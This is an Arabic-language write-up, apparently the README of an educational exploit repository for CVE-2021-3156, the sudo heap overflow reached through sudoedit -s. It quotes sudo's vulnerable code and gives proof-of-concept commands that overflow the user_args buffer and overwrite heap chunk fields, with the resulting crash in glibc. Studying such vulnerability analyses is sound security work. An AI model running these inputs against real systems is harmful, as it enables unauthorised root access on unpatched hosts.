
استغلال تعليمي وتنفيذ وتحليل لثغرة CVE-2021-3156، وهي تجاوز سعة مخزن مؤقت في الكومة (heap-based buffer overflow) في دالة set_cmnd() الخاصة بأداة sudo، مما يتيح تصعيد الامتيازات إلى صلاحيات الجذر (root) عبر وسائط سطر أوامر مصممة بعناية.
في هذا المستند نضمّن كل المعرفة اللازمة لفهم الكود الموجود في هذا المستودع ولماذا يعمل. يستند كل الشرح إلى التقرير الذي أعدّته QUALYS. هناك المزيد من أشكال الاستغلال الموضحة.
الإصدارات المعرضة للثغرة من sudo هي الإصدارات القديمة من 1.8.2 إلى 1.8.31p2 وجميع الإصدارات المستقرة من 1.9.0 إلى 1.9.5p1، في تهيئتها الافتراضية.
تم اختبار هذا المستودع على Ubuntu 20.04 (sudo 1.8.31). فيه نفتح طرفية بصلاحيات الجذر (root).
إذا تم تنفيذ Sudo لتشغيل أمر في وضع shell:
-s، الذي يعيّن أعلام MODE_SHELL الخاصة بـ sudo.-i، الذي يعيّن أعلام MODE_SHELL وMODE_LOGIN_SHELL الخاصة بـ sudo.عندها، في بداية main() الخاصة بـ sudo، تقوم parse_args() بإعادة كتابة argv، عبر دمج جميع وسائط سطر الأوامر
وعبر إفلات جميع أحرف الميتا (meta-characters) باستخدام الباك سلاش (backslash).
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
لاحقاً، في sudoers_policy_main()، تقوم set_cmnd() بدمج وسائط سطر الأوامر في مخزن مؤقت على الكومة (heap-based buffer)
اسمه user_args وتقوم بإلغاء إفلات أحرف الميتا، "لأغراض مطابقة sudoers وتسجيل الأحداث":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
إذا انتهت وسيطة من وسائط سطر الأوامر بشرطة مائلة عكسية واحدة، فعندئذٍ:
from[0] هو حرف الشرطة المائلة العكسية وfrom[1] هو محرف الإنهاء الصفريfrom ليشير إلى محرف الإنهاء الصفريuser_args، ويتم زيادة from مجدداً ليشير خارج الحدودuser_args.بعبارة أخرى، set_cmnd() معرّضة لتجاوز سعة المخزن المؤقت على الكومة، لأن الأحرف خارج الحدود التي
يتم نسخها إلى المخزن المؤقت user_args لم تكن مضمّنة في حجمه.
ولكن نظرياً، لا يمكن لأي وسيطة من وسائط سطر الأوامر أن تنتهي بشرطة مائلة عكسية واحدة: إذا تم تعيين MODE_SHELL أو
MODE_LOGIN_SHELL (وهو شرط ضروري للوصول إلى الكود المعرض للثغرة)، فعندها يتم تعيين MODE_SHELL وتقوم
parse_args() بالفعل بإفلات جميع أحرف الميتا، بما في ذلك الشرطات المائلة العكسية (أي أنها أفلتت كل شرطة مائلة عكسية
بشرطة مائلة عكسية ثانية).
لكن عملياً، الكود المعرض للثغرة في set_cmnd() وكود الإفلات في parse_args() محاطان
بشروط مختلفة قليلاً:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
مقابل:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
سؤالنا إذن هو: هل يمكننا تعيين MODE_SHELL وأحد MODE_EDIT أو MODE_CHECK (للوصول إلى الكود المعرض للثغرة)
دون تعيين MODE_RUN الافتراضي (لتجنّب كود الإفلات)؟
يبدو أن الجواب هو لا: إذا قمنا بتعيين MODE_EDIT (الخيار -e) أو MODE_CHECK (الخيار -l)، فإن parse_args()
تزيل MODE_SHELL من valid_flags وتخرج مع خطأ إذا حددنا علماً غير صالح مثل
MODE_SHELL):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
لكننا وجدنا منفذاً (loophole): إذا قمنا بتنفيذ Sudo باسم sudoedit بدلاً من sudo، فإن parse_args() تعيّن تلقائياً
MODE_EDIT لكنها لا تعيد تعيين valid_flags، وتتضمن valid_flags قيمة MODE_SHELL افتراضياً:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
وبالتالي، إذا قمنا بتنفيذ "sudoedit -s"، فإننا نعيًن كلاً من MODE_EDIT وMODE_SHELL (لكن ليس MODE_RUN)، ونتجنّب
كود الإفلات، ونصل إلى الكود المعرض للثغرة، ونُحدث تجاوزاً في سعة المخزن المؤقت على الكومة user_args عبر وسيطة
من وسائط سطر الأوامر تنتهي بشرطة مائلة عكسية واحدة:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
من وجهة نظر المهاجم، فإن هذا التجاوز في سعة المخزن المؤقت مثالي:
user_args الذي نُحدث فيه التجاوز (حجم وسائط سطر الأوامر المدمجة لدينا)؛user_args).على سبيل المثال، على نظام Linux بمعمارية amd64، يقوم الأمر التالي بتخصيص مخزن مؤقت user_args بحجم 24 بايت (قطعة كومة بحجم 32 بايت) و
يكتب فوق حقل size للقطعة التالية القيمة "A=a\0B=b\0" (0x00623d4200613d41)، وحقل fd بالقيمة "C=c\0D=d\0"
(0x00643d4400633d43)، وحقل bk بالقيمة "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
الدالة التي تتعطل هي nss_load_library() من glibc (عند السطر 344) لأن المؤشر library تمت الكتابة فوقه.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}